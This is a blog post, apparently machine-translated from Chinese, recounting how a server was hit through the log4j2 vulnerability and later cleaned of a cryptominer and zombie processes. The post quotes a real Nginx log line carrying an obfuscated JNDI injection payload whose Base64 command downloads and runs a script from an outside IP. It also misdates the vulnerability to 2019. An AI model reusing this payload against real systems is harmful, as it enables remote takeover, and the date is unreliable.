当前位置:网站首页>Solve log4j2 vulnerability and be attacked by mining and zombie process viruses
Solve log4j2 vulnerability and be attacked by mining and zombie process viruses
2022-06-12 15:06:00 【Ape fly】
1. Antecedents
stay 2019 year 12 month , Burst out log4j2 Loophole , At that time, the city was full of wind and rain . At that time, one of my own frameworks just started from log4j Upgrade to log4j2. According to the plan at that time , Temporary repairs were made , But after all, it still can't resist the cruel reality , What should come will always come . Therefore, these security issues should not be underestimated .
2. The process of discovering viruses in
Get up early in the morning , The cell phone receives a text message , Said there was a virus in so and so server . Because the server is on Alibaba cloud , So the first thing after work is to enter the Alibaba cloud background . Check in Alibaba cloud center , Sure enough .


Check out this malicious script code , The discovery came from java web From the project . According to the script of his attack now , Discovery is the use of log4j2 The loophole came in .
Then we scan the information from Alibaba cloud , The first time, we need to save the script on our server , First delete .
Use rm -rf **** Such an order , Get rid of all those papers .

Through this information , We found that , His script information is stored in /tmp Under the table of contents .
3. Solutions
3.1. First analyze where the virus came in , First modify the source of this source .
We are desperately trying to prevent the server from killing virus , Last , The attacker is still You can easily get the script in . We already know that the attacker came from our web The project came in . Then we use the front end Nginx Make request distribution . So through this clue , We see the Nginx Request log for , According to the time when Alibaba cloud found the virus , When we check the log , Focus on whether there are abnormal requests during this period .
159.203.95.42 - - [18/Mar/2022:07:46:44 +0800] "GET /:443:undefined?id= HTTP/1.1" 404 128 "t('${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//159.203.109.65:1389/TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IHdnZXQgaHR0cDovLzE2Ny4xNzIuMjI2LjIyMi84VXNBLnNoOyBjdXJsIC1PIGh0dHA6Ly8xNjcuMTcyLjIyNi4yMjIvOFVzQS5zaDsgY2htb2QgNzc3IDhVc0Euc2g7IHNoIDhVc0Euc2g=}')" "t('${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//159.203.109.65:1389/TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IHdnZXQgaHR0cDovLzE2Ny4xNzIuMjI2LjIyMi84VXNBLnNoOyBjdXJsIC1PIGh0dHA6Ly8xNjcuMTcyLjIyNi4yMjIvOFVzQS5zaDsgY2htb2QgNzc3IDhVc0Euc2g7IHNoIDhVc0Euc2g=}')" "-"The last paragraph of parameters passes Base64 Bit decoding : Finally, it is the script of the attack .

Finally, we determined that this was log4j2 Loophole , Being attacked .
3.2. First modify... In the project log4j2 edition
Because of the project springboot The version is not particularly high , I used to use 1. Several versions of , I was thinking log4j2 Richer functions and better performance , So the upgrade . Now in order to solve the problem , The first log4j edition , Reduce to the original version . This is the quickest way to solve the problem .
3.3. Delete this vulnerability and load it into /tmp The files under the
This is relatively simple . Because in general ,/tmp A file in a directory , Are not particularly important documents .
So see the default file , Just kill them .
3.4. install htop Tools , View the abnormal process
This tool is very useful , During the day because of the virus , Alibaba cloud killed those processes in a few minutes . But because the virus has come in , And created many daemons . We go through top command , And we can't find the existence of these special processes . So it's hard to find anomalies .
Install first htop Tools , My system centos7.9 The system of .
yum -y install htopAfter the installation , Directly in the input htop The order can be executed . Exit command , Directly by F10 that will do .

In general , Our normal process ,command This column is the specific path , Or a specific name . But the process of seeing this string of characters . It's probably the virus process .
Through this clue , We go through ps aux|grep pid Check it out. , The location of the specific process , And his start-up time .
ps aux|grep PID
During the query , It is found that there are defunct This logo . It was only after checking that , So these are the signs of zombie process . From the discovery of the virus to the night 10 Some more , Check... With the following command , Unexpectedly 300 Multiple zombie processes exist . It's no wonder that , After a while , Will launch a wave of attacks , The reason is that these zombie processes lead to .
ps aux|grep defunctSpecial attention here , To kill zombies , Be sure to kill his father first , In this way, the subprocess will automatically hang up .
Combine the following command to kill the father process
kill -9 pidskill , I saw the zombie process at that time 300 Multiple , My heart is broken , When is this going to kill , Finally, a law is drawn from practice , That's it From the earliest process . Generally, these processes are basically the parent process 了 .
After killing , Then use the command to view , Whether it reduces .
ps aux|grep defunct![]()
Finally see here , Basically finished .
To sum up , Why is this virus usually killed , Will continue to appear , Essentially because these daemons still exist , Don't kill these daemons , The attack will still start in that minute .
4. Finally, we monitored , see cpu Will it suddenly , To determine whether these viruses have been cleared .

边栏推荐
- leetcode每日一题-公平的糖果棒交换
- C scanf function
- Apprendre est une chose contre la nature humaine
- Leader education was forced to be delisted: Softbank CMC suffered heavy losses only one year after listing
- Simple crawler framework: parsing 51job page position information
- Error 1105: message:\“raft entry is too large
- C 字符串
- [system. Currenttimemillis()] current timestamp: the number of milliseconds that have elapsed since the current system time was 0:00:00 on January 1, 1970
- 三维重建系统 | L3增量运动恢复结构(增量SFM)
- ngork实现内网穿透--免费
猜你喜欢

ROS 中 boost::bind( ) 的使用

Energy chain smart electronics landed on NASDAQ: Bain is the shareholder to become the first share of charging services in China

PTA:自测-3 数组元素循环右移问题 (20分)

Simple crawler framework: parsing 51job page position information

Wild pointer understanding

IMU learning records

C 转义字符

Scala下载及IDEA安装Scala插件(保姆级教程超详细)

ROS beginners write the server that the little turtle rotates a certain angle at a certain speed

结构体示例
随机推荐
#include使用“文件名“和<文件名>引入头文件的区别及简述
Qiming cloud sharing | demonstrate the switch through an example of the matter protocol to control the light on and off through the matter protocol
Array related content
h3c GR5200路由器上如何设置公网ip可以访问
idea 拉取分支代码
交换数字,异或求单,操作符相关
安装PS软件时提示程序无法访问关键文件/目录,错误代码:41的解决方法
FIRSTVT and LASTVT vernacular
MH32F103ARPT6软硬件兼容替代STM32F103RCT6
如何写年终总结
[lambda operation jcf]
粒子滤波学习记录
Xshell 7 official website free download
【Calendar】1. For globalization 2 But only date can be formatted by SDF 3 Month to -1 4 Week from Sunday is the first day
C 数据类型
Writing method of JUnit multithreading
ES6新特性
Common assertions in JUnit testing
C语言打开中文路径文件
Learning records of new keywords, references & pointers